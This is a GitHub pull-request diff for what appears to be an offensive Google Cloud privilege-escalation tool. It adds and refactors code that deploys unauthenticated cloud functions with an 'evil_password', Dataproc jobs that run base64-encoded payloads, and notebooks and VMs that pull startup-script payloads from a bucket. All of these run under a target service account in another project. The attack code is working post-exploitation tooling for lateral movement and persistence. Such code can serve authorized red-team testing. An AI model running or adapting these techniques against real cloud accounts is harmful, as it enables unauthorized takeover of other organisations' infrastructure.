Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
/db/db.sql
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ These include:

actAs
dataproc
actAs with VM's instead of GCF

As of this moment, we don't have the following exploits implmented yet:

Expand All @@ -39,7 +40,6 @@ As of this moment, we don't have the following exploits implmented yet:
google managed service account privesc (ie cloudbuild)
datafusion
cloudbuild
actAs with VM's instead of GCF

To use the tool, docker is required.

Expand Down
35 changes: 8 additions & 27 deletions base_cloud_function/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,35 +7,18 @@
from urllib.request import Request, urlopen
from base64 import b64decode, b64encode

def run_gcloud_command_local(command):
if command.split(" ")[0] != "gcloud":
command = "gcloud " + command
print("Running command:")
print(command)
try:
cmd_output = subprocess.check_output(command.split(" "), stderr=subprocess.STDOUT)
return cmd_output.decode("utf-8").rstrip()
except subprocess.CalledProcessError as E:
print("error code", E, E.output)
return False

def run_os_command_local(command):
return os.system(command)
from utils import utils

def drop_cf(latest_cf):
if not os.path.exists("/tmp/base_cloud_function"):
os.mkdir("/tmp/base_cloud_function")
with open("/tmp/base_cloud_function/main.py", "w+") as f:
f.write(latest_cf)

def random_name(stringLength=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))


def dataproc_privesc(dest_proj, latest_cf, func_details):
cluster_name = random_name()
run_gcloud_command_local("gcloud dataproc clusters create {} --region us-central1 --scopes cloud-platform --metadata cf_name={},evilpassword={}".format(cluster_name, func_details["name"], func_details["evil_password"]))
cluster_name = utils.random_name()
utils.run_gcloud_command_local("gcloud dataproc clusters create {} --region us-central1 --scopes cloud-platform --metadata cf_name={},evilpassword={}".format(cluster_name, func_details["name"], func_details["evil_password"]))

spark_string = "import subprocess\n\nimport os\n\nos.system(\"mkdir /tmp/base_cloud_function && echo \\\""
spark_string += b64encode(latest_cf.encode("utf-8")).decode("utf-8")
Expand All @@ -57,24 +40,22 @@ def dataproc_privesc(dest_proj, latest_cf, func_details):
print(spark_string)
with open("/tmp/sparkjob.py", "w+") as f:
f.write(spark_string)
run_gcloud_command_local("gcloud dataproc jobs submit pyspark --cluster {} /tmp/sparkjob.py --region us-central1".format(cluster_name))
run_gcloud_command_local("gcloud dataproc clusters delete {} --region us-central1 --quiet".format(cluster_name))
utils.run_gcloud_command_local("gcloud dataproc jobs submit pyspark --cluster {} /tmp/sparkjob.py --region us-central1".format(cluster_name))
utils.run_gcloud_command_local("gcloud dataproc clusters delete {} --region us-central1 --quiet".format(cluster_name))


def create_gcf_in_another_project(dest_project, dest_sa, latest_cf, function_props):
drop_cf(latest_cf)
run_gcloud_command_local("gcloud config set project {}".format(dest_project))
run_gcloud_command_local("gcloud services enable cloudfunctions.googleapis.com")
succeeded = run_gcloud_command_local("gcloud functions deploy {} --set-env-vars=EVIL_PASSWORD={} --timeout 539 --trigger-http --allow-unauthenticated --source /tmp/base_cloud_function --runtime python37 --entry-point hello_world --service-account {}".format(function_props["name"], function_props["evil_password"], dest_sa))
utils.run_gcloud_command_local("gcloud config set project {}".format(dest_project))
utils.run_gcloud_command_local("gcloud services enable cloudfunctions.googleapis.com")
succeeded = utils.run_gcloud_command_local("gcloud functions deploy {} --set-env-vars=EVIL_PASSWORD={} --timeout 539 --trigger-http --allow-unauthenticated --source /tmp/base_cloud_function --runtime python37 --entry-point hello_world --service-account {}".format(function_props["name"], function_props["evil_password"], dest_sa))
print("~~~~~~~~~~ {} ~~~~~~~~~~".format(succeeded))
if not succeeded and succeeded != "0" and succeeded != 0:
print("gcf provisioning failed")
return False
return function_props




def hello_world(request):
"""Responds to any HTTP request.
Args:
Expand Down
29 changes: 29 additions & 0 deletions base_notebook_instance/main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
import subprocess
import random
import io
import string
import json
import os
from urllib.request import Request, urlopen
from base64 import b64decode, b64encode

from utils import utils

def create_notebook_in_another_project(dest_project, dest_sa, instance_props, bucket_name):
# Creates a Dataflow notebook in another project.
utils.run_gcloud_command_local("gcloud config set project {}".format(dest_project))

utils.push_startup_payload(bucket_name)

succeeded = utils.run_gcloud_command_local("gcloud beta notebooks instances create {} --service-account {} --location=us-central1-a --vm-image-family ubuntu-2004-lts --vm-image-project ubuntu-os-cloud --post-startup-script=gs://{}/startup.sh --metadata startup-script-url=gs://{}/startup.sh".format(instance_props["name"], dest_sa, bucket_name, bucket_name))

print("~~~~~~~~~~ {} ~~~~~~~~~~".format(succeeded))
if not succeeded and succeeded != "0" and succeeded != 0:
print("gcp vm provisioning failed")
return False
return instance_props

if __name__ == "__main__":
module = __import__(__name__)
with open(module.__file__) as f:
current_cf = f.read()
28 changes: 28 additions & 0 deletions base_vm_instance/main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
import subprocess
import random
import io
import string
import json
import os
from urllib.request import Request, urlopen
from base64 import b64decode, b64encode

from utils import utils

def create_vm_in_another_project(dest_project, dest_sa, instance_props, bucket_name):
utils.run_gcloud_command_local("gcloud config set project {}".format(dest_project))

utils.push_startup_payload(bucket_name)

# push via a startup script into a user-provided GCS bucket. Ask user to give access to the bucket first.
succeeded = utils.run_gcloud_command_local("gcloud compute instances create {} --service-account {} --scopes=cloud-platform --zone=us-central1-a --image-family ubuntu-2004-lts --image-project ubuntu-os-cloud --metadata startup-script-url=gs://{}/startup.sh".format(instance_props["name"], dest_sa, bucket_name))
print("~~~~~~~~~~ {} ~~~~~~~~~~".format(succeeded))
if not succeeded and succeeded != "0" and succeeded != 0:
print("gcp vm provisioning failed")
return False
return instance_props

if __name__ == "__main__":
module = __import__(__name__)
with open(module.__file__) as f:
current_cf = f.read()
Loading